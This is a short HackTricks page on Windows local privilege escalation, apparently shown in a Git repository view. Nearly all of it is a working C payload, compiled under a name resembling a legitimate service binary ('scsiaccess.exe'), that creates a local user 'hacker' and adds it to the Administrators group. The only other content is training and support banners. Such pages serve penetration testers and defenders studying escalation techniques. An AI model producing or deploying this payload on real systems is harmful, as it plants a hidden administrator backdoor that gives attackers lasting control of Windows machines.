hacktricks/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
Carlos Polop d1647fc7c2 b
2024-07-19 11:06:54 +02:00

2.5 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Add user

// i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
int main ()  
{  
    int i;
    system("net user hacker Hacker123! /add");
    system("net localgroup administrators hacker /add");  
    return 0;  
}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}